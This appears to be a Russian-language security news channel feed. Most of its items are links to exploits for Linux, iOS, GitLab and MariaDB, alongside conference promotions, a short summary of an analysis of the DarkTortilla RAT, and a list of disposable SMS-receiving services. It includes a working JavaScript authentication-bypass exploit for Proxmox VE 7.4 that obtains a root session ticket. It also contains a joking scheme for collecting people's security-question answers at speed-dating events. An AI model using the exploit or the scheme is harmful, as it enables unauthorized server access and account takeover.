Proxy Bar

Linux container escape
*
PoC

Идея для "быстрых свиданий"
Ну это те, которые 5 минут общаешься, потом пересаживаетесь.
Заменяем скучные вопросы (кем работаешь?), на те от которых будет профит:
Как звали твоего первого питомца ?
Какая девичья фамилия твоей матери ?
Название улицы на которой ты вырос\выросла ?

Ну вы поняли. Дальше по всем анкетам ставим плюсы !
Дальше + - 2 суток организаторы будут вычитывать анкеты и рассылать участникам результаты.
В результатах обычно телефоны участников (ну там где лайки сошлись)

В итоге: телефон + секретный вопрос + подтянули социалочку, ну и бонусом таки можно позвонить кому то )))

А скиньте фотки с тусы а )))

ZeroNights 2026 подъехали ПРОМОКОДЫ
*
Действовать начинает с 20 сентября и по 24 сентября включительно.
Прокатит для физ. лиц и студентов (без спикер-пати)
*
Забрать свои 7% по промокоду ZNPROXY2026
За билетом

LPE quartet of Linux local root
*
DirtyAH6 CVE-2026-80844 POC
TUNderflow CVE-2026-81000 POC
PPPoEject CVE-2026-68121 POC
DiagSpill CVE-2026-74469 POC

+ WriteUP из 2178 слов

#linux #LPE

sandbox escape for iOS 27.0
*
proof-of-concept

cups2root
*
Linux LPE exploit

ZeroNights 2026 уже совсем близко !
*
Программа конференции по КиберБезопасности ZeroNights 2026 уже опубликована.

В этом году спикеры будут выступать на 3-х основных сценах по 2-м направлениям:
** Offensive Track (сцены Heap и Stack) – использование современных техник взлома для проведения продвинутых кибератак, обнаружения уязвимостей, а также вопросы бинарной эксплуатации;
** SecOps Track – реальные кейсы SecOps, стратегия AppSec и рабочие подходы к безопасной разработке;

Кроме того, будет и четвертая сцена – Community Hab, секция для интерактивных докладов от ИБ-сообществ, сопровождающихся тематическими воркшопами и локпикингом.

Глянуть что в программе

Купить билетик

Дата: 30.09.2026
Место проведения: Санкт-Петербург, LOFT#7
Организаторы конференции: команда DSEC by Solar (бывшая Digital Security, входит в ГК «Солар»).

Встретимся на конференции !

CVE-2026-85706 GitLab CE/EE
*
Version: 18.7–19.1.7, 19.2.0–19.2.5, 19.3.0–19.3.1
*
exploit

Принимаем SMS глобально

SMS-Activate：hero-sms.com
5Sim：5sim.net/zh
SMS-Man：sms-man.com
Tiger-SMS：tiger-sms.com
PingMe：pingme.tel
SMSSir：smssir.com
OnlineSim：onlinesim.io
GlobalSMS：globalsms.io
Receive an SMS：receive-a-sms.com
SMS Receive free：smsreceivefree.com
Online SMS：sms-online.co
Receive SMS online：smsreceiveonline.com
Get a free SMS number：getfreesmsnumber.com
Receive SMS：sms-receive.net
Receive SMS Online NET：receivesmsonline.net
Free SMS checks：freesmsverifications.com
7 SIM NET：7sim.net
HS3X：hs3x.com
Receive free SMS：receivefreesms.com
Receive free SMS NET：receivefreesms.net
Receive SMS Online IN：receivesmsonline.in
Receive SMS online：receive-sms-online.com
See SMS：smsver.com
Groovl：groovl.com
SMS.SELLAITE：sms.sellaite.com
Send SMS now：sendsmsnow.com
Receive SMS online EU：receivesmsonline.eu
Proovl：proovl.com/numbers
Anon SMS：anon-sms.com
Hide my numbers：hidemynumbers.com
Pinger：pinger.com
Free online phone：freeonlinephone.org
Capture SMS：catchsms.com
SMS Get：smsget.net
1S2U：1s2u.com
Receive SMS：getsms.org
Vritty：virtty.com
Text anywhere：textanywhere.net
Receive SMS online ME：receivesmsonline.me
Purchase virtual number：virtualnumberbuy.com
Free Receive SMS online：freereceivesmsonline.com
NDTAN SMS：sms.ndtan.net
SMS Listen：smslisten.com
Free virtual SMS number：freevirtualsmsnumber.com
SMS Tibo：smstibo.com
Receive SMS number：receivesmsnumber.com
Free SMS code：freesmscode.com
Online SMS numbers：smsnumbersonline.com
SMS reception：smsreceiving.com

Terminator 2: Judgment Day
35 лет однако !
Расширенная режиссерская версия ?

MariaDB GRANT PROXY permits
*
ПРикольно
юзер MariaDB с низкими правами может менять пароли других юзеров. root тоже.
CVE пока не дали

По шагам

DarkTortilla RAT
*
Неплохой мини разбор DarkTortilla RAT: вытаскивание паролей, cookies и банковских кредов из браузеров, работа с os_crypt / app_bound_encrypted_key.
Из интересного - эксфильтрация сразу через Telegram Bot, SMTP и FTP, плюс немного реверса через Binary Ninja / x64dbg.

*
Reverse engineering analysis

😢
56k.rip

уж лучше отдать AI чем в netflix 😃

Подъехала инфа что в версии 8.0.3 / 8.2 proxmox тоже есть bypass
8.4 и 9.2 пока (!) считаются безопасными

Proxmox VE
*
PVE 7.4 auth-bypass exploit

// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();

Зло все еще может вернуться, оно просто умеет ждать

CVE-2026-72137 ubuntu-7.0.0-28 LPE
*
exploit